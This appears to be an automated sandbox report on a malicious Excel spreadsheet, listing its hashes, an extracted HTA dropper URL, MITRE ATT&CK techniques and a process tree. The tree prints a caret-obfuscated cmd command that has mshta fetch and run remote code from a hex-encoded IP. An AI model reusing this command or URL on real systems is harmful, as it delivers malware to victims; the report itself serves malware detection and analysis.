d32a9f2a57e87ab1089d880edf6c33376daa521d275a0057f5d522a3ba2466cc

Analysis

max time kernel
45s
max time network
37s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
16/03/2025, 21:40

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General

Target

d32a9f2a57e87ab1089d880edf6c33376daa521d275a0057f5d522a3ba2466cc.xls
Size

127KB
MD5

c32bb23b69f7843013e669df8b2f3677
SHA1

668c1483ec80f83456739d67a82096a7c4d25ccc
SHA256

d32a9f2a57e87ab1089d880edf6c33376daa521d275a0057f5d522a3ba2466cc
SHA512

ea83ea4f1b775fe0627f5c603d307fd9cbda47c8048bfbc6230a3456ff8663a91d7934aef36b1550dc802f2f1be695bb7f57801438a8316b789e517197e0a810
SSDEEP

3072:Muk3hbdlylKsgqopeJBWhZFGkE+cL2NdAxEvN8B/W6X1yxYovrepMUdQ6gSz4iR:Hk3hbdlylKsgqopeJBWhZFVE+W2NdAmg

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2928	1924	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2932	mshta.exe
7	2932	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1924	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1924 wrote to memory of 2928	1924	EXCEL.EXE	30
PID 1924 wrote to memory of 2928	1924	EXCEL.EXE	30
PID 1924 wrote to memory of 2928	1924	EXCEL.EXE	30
PID 1924 wrote to memory of 2928	1924	EXCEL.EXE	30
PID 2928 wrote to memory of 2932	2928	cmd.exe	32
PID 2928 wrote to memory of 2932	2928	cmd.exe	32
PID 2928 wrote to memory of 2932	2928	cmd.exe	32
PID 2928 wrote to memory of 2932	2928	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d32a9f2a57e87ab1089d880edf6c33376daa521d275a0057f5d522a3ba2466cc.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1924-1-0x000000007222D000-0x0000000072238000-memory.dmp

Filesize
44KB

Download
memory/1924-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1924-2-0x000000007222D000-0x0000000072238000-memory.dmp

Filesize
44KB

Download